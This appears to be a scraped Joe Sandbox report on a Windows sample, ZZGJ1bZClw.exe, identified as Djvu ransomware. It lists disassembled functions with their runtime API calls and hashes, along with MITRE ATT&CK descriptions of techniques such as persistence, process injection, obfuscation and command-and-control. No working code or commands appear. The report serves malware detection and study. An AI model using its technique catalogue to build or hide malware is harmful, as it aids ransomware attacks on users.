Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 8804e05aff1ce037f673371cf79ffb062e0ab78be8e345422709b0543124bf07
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 8E710D71A20717ABD715EEF9CC51B9AB3B9BF00364F144179E514E7A84EBB0E900CB90

Uniqueness

Uniqueness Score: -1.00%

Function 022A84AB, Relevance: 16.6, APIs: 11, Instructions: 92COMMON

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 022A84B1
_free.LIBCMT ref: 022A84E2
_free.LIBCMT ref: 022A84F5
_free.LIBCMT ref: 022A8513
_free.LIBCMT ref: 022A8525
_free.LIBCMT ref: 022A8536
_free.LIBCMT ref: 022A8541
_free.LIBCMT ref: 022A8565
_free.LIBCMT ref: 022A8581
_free.LIBCMT ref: 022A8597
_free.LIBCMT ref: 022A85BF

Memory Dump Source

Source File: 00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp, Offset: 02280000, based on PE: false

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: a50f6ef07ef279deda81d85adced3eb9cb4b4afaa78aecbaab13410a200e5e12
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 5831E331910351DFCB21AF94FC9088977E6FB14334B05862AEE08576B8CBB059C8AF92

Uniqueness

Uniqueness Score: -1.00%

Function 022CFC0C, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 022CFC1F
__CxxThrowException@8.LIBCMT ref: 022CFC34
std::exception::exception.LIBCMT ref: 022CFC4D
__CxxThrowException@8.LIBCMT ref: 022CFC62
std::regex_error::regex_error.LIBCPMT ref: 022CFC74

Part of subcall function 022CF914: std::exception::exception.LIBCMT ref: 022CF92E

__CxxThrowException@8.LIBCMT ref: 022CFC82
std::exception::exception.LIBCMT ref: 022CFC9B
__CxxThrowException@8.LIBCMT ref: 022CFCB0

Strings

leM, xrefs: 022CFCA8

Memory Dump Source

Source File: 00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp, Offset: 02280000, based on PE: false

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$std::regex_error::regex_error
String ID: leM
API String ID: 2862078307-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 46f70d599434b208c456d89837c02711d4d00b0cb24358d1ed8e541d58a199f5
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 1311DA79C0030DBBCF05FFE5D865CDDBB7DAE04384B408566A91897644EB74A3588F94

Uniqueness

Uniqueness Score: -1.00%

Function 0228F010, Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0228F01F

Part of subcall function 022A1602: __FF_MSGBANNER.LIBCMT ref: 022A1619
Part of subcall function 022A1602: __NMSG_WRITE.LIBCMT ref: 022A1620

_malloc.LIBCMT ref: 0228F02B
_wprintf.LIBCMT ref: 0228F03E
_free.LIBCMT ref: 0228F044
_free.LIBCMT ref: 0228F065
_malloc.LIBCMT ref: 0228F06D
_sprintf.LIBCMT ref: 0228F0C0
_wprintf.LIBCMT ref: 0228F0D2
_wprintf.LIBCMT ref: 0228F0DC
_free.LIBCMT ref: 0228F0E5

Memory Dump Source

Source File: 00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp, Offset: 02280000, based on PE: false

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 4a269a266fe9ddef6bd35803b32236535e24b5849109853fb4cf90125dd8379c
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 3F1127B25216506FC26172F40C21FFF3BDD9F45711F440169FE4CD1588DA189A149BB1

Uniqueness

Uniqueness Score: -1.00%

Function 02291960, Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 022919C6
__CxxThrowException@8.LIBCMT ref: 022919F1
__CxxThrowException@8.LIBCMT ref: 02291A1A
__CxxThrowException@8.LIBCMT ref: 02291A4B
_memset.LIBCMT ref: 02291A6A
__CxxThrowException@8.LIBCMT ref: 02291A90
_malloc.LIBCMT ref: 02291AA0
_memset.LIBCMT ref: 02291AAB
_sprintf.LIBCMT ref: 02291ACE

Memory Dump Source

Source File: 00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp, Offset: 02280000, based on PE: false

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: e28dd000a76906977de2140a32167547b281fd64df273a20851a33d4ba57962f
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: F2513871D4020AABEF11DBE5DC86FEEBBB9FF04744F100025F909B6184EB746A158BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0228F210, Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0228F284
__CxxThrowException@8.LIBCMT ref: 0228F2AF
__CxxThrowException@8.LIBCMT ref: 0228F2DE
__CxxThrowException@8.LIBCMT ref: 0228F30F
_memset.LIBCMT ref: 0228F32E
__CxxThrowException@8.LIBCMT ref: 0228F354
_sprintf.LIBCMT ref: 0228F373

Memory Dump Source

Source File: 00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp, Offset: 02280000, based on PE: false

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: debfd39696a1d7fc11110e5f8c18f0611720ee3bbf853496d49abcb222b573dc
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 65519CB1A50249ABEF11EFE1CD46FEEBBB8BB04704F100025F905B6184D7B4AA058BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0228F440, Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0228F4B7
__CxxThrowException@8.LIBCMT ref: 0228F4E2
__CxxThrowException@8.LIBCMT ref: 0228F504
__CxxThrowException@8.LIBCMT ref: 0228F535
_memset.LIBCMT ref: 0228F554
__CxxThrowException@8.LIBCMT ref: 0228F57A
_sprintf.LIBCMT ref: 0228F594

Memory Dump Source

Source File: 00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp, Offset: 02280000, based on PE: false

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: b1df6ebe92a065a8b01caf03083d130f0919178d61b2a58b02a08811bbc9398a
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 9C516D71D50209ABDF21EFE1DD46FEEBBB9BF04704F100129E905B6184E774AA058BA4

Uniqueness

Uniqueness Score: -1.00%

Function 023466D9, Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 023466DD

Part of subcall function 022A59BF: __calloc_crt.LIBCMT ref: 022A59E2
Part of subcall function 022A59BF: __initptd.LIBCMT ref: 022A5A04

__calloc_crt.LIBCMT ref: 02346700
__get_sys_err_msg.LIBCMT ref: 0234671E
__invoke_watson.LIBCMT ref: 0234673B
__get_sys_err_msg.LIBCMT ref: 0234676D
__invoke_watson.LIBCMT ref: 0234678B

Memory Dump Source

Source File: 00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp, Offset: 02280000, based on PE: false

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: 8c016e97d47bc8d84ec44ae6414b5165a16540fc6d58c9a1d11ba7a4486e45a2
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: E511B6716017146BEB217E659C42FAB7BCEDF02760F0004A6FD0896A41EB65E9008EE4

Uniqueness

Uniqueness Score: -1.00%

Function 022A2AD0, Relevance: 7.7, APIs: 5, Instructions: 163COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022A2B2E
_memcpy_s.LIBCMT ref: 022A2BA0
__read_nolock.LIBCMT ref: 022A2BFE
__filbuf.LIBCMT ref: 022A2C21
_memset.LIBCMT ref: 022A2C65

Part of subcall function 022A5BA8: __getptd_noexit.LIBCMT ref: 022A5BA8

Memory Dump Source

Source File: 00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp, Offset: 02280000, based on PE: false

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: b273739a7052136a20b5baed69eccc3d2ae3b8696266f3408e69ccf464e35dd7
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: F8519470A21306DBDB248FF989A476EB7B6BF40324F148B29EC3596AD8D7709950CF40

Uniqueness

Uniqueness Score: -1.00%

Function 02292670, Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022926DB
_memset.LIBCMT ref: 02292A30
_memset.LIBCMT ref: 02292AC0

Strings

D, xrefs: 02292AC8

Memory Dump Source

Source File: 00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp, Offset: 02280000, based on PE: false

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 2605ee6d1fa0e38c0b0c1b428c0071d657d9256ea9b7e2806ad3430655c0cf26
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: C5E16A71D1021AEBDF24DBE0CD89FEEB7B8BF04304F144169E909A2194EB746A45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0228D8B0, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0228D8EA

Strings

, xrefs: 0228DADB
(, xrefs: 0228DAE9
$, xrefs: 0228DAE2

Memory Dump Source

Source File: 00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp, Offset: 02280000, based on PE: false

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: f620d5b1e4e2949f574d6481512835dadba9d04f4d057cab97ec2c406f137f6d
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 3C91AB71C112099BEF20DFE0C859BEEBBB5AF05308F244169D405B72C4DBB69A48CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 022CFBDE, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 022CFBF1
__CxxThrowException@8.LIBCMT ref: 022CFC06

Strings

TeM, xrefs: 022CFBFB, 022CFBE7
TeM, xrefs: 022CFBFE

Memory Dump Source

Source File: 00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp, Offset: 02280000, based on PE: false

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception
String ID: TeM$TeM
API String ID: 3728558374-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 0a3b58b85b3182ac6d9200aa26d72de94dd3e0c12a5b4f56f8ed455ccd7493cd
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 06D06775C0030CBBCF05EFA5D459CDDBBB9AE04384B408466A91897245EA74A3598F94

Uniqueness

Uniqueness Score: -1.00%

Function 0228D0E0, Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 022A197D: __wfsopen.LIBCMT ref: 022A1988

_fgetws.LIBCMT ref: 0228D15C

Memory Dump Source

Source File: 00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp, Offset: 02280000, based on PE: false

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 82d7224335f503f8d2d0c5c8e88d20c56b538571b51cf539ce9dca600254ab08
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 6F91A371D213169BCF20EFE4C844BAEB7B5AF04314F140529E815A76C9E7B5EA18CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0228D540, Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0228D77E
_malloc.LIBCMT ref: 0228D7B2
_malloc.LIBCMT ref: 0228D7C1
_fprintf.LIBCMT ref: 0228D815

Memory Dump Source

Source File: 00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp, Offset: 02280000, based on PE: false

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 34752b4d417fd5ddd9c54484898a088b5200fe72f5aacebab7e75aaeae6c64db
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: A6A15BB1C10348EBEF11EFE4C855BEEBB76AF14308F140128D4057A2D5D7B69A58CBA6

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Services
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Application logs, Process monitoring, Windows Error Reporting
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report ZZGJ1bZClw.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Djvu

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

Function 004014BB, Relevance: 4.5, APIs: 3, Instructions: 20
timeCOMMON

Function 00401337, Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 130
libraryloadersynchronizationCOMMON

Function 004012E2, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18
librarymemoryloaderCOMMON

Function 00402B5C, Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Function 0040450E, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 004012CE, Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Function 0040102E, Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 155
filestringsynchronizationCOMMON

Function 00404F85, Relevance: 7.6, APIs: 5, Instructions: 58
COMMON

Function 00403E18, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 00406B0A, Relevance: 7.5, APIs: 5, Instructions: 47
COMMON

Function 00403BB5, Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMON

Function 00407AC8, Relevance: 6.1, APIs: 4, Instructions: 103
COMMON

Function 0040122C, Relevance: 6.0, APIs: 4, Instructions: 37
COMMON

Function 00407276, Relevance: 6.0, APIs: 4, Instructions: 31
COMMON

Function 0040369E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre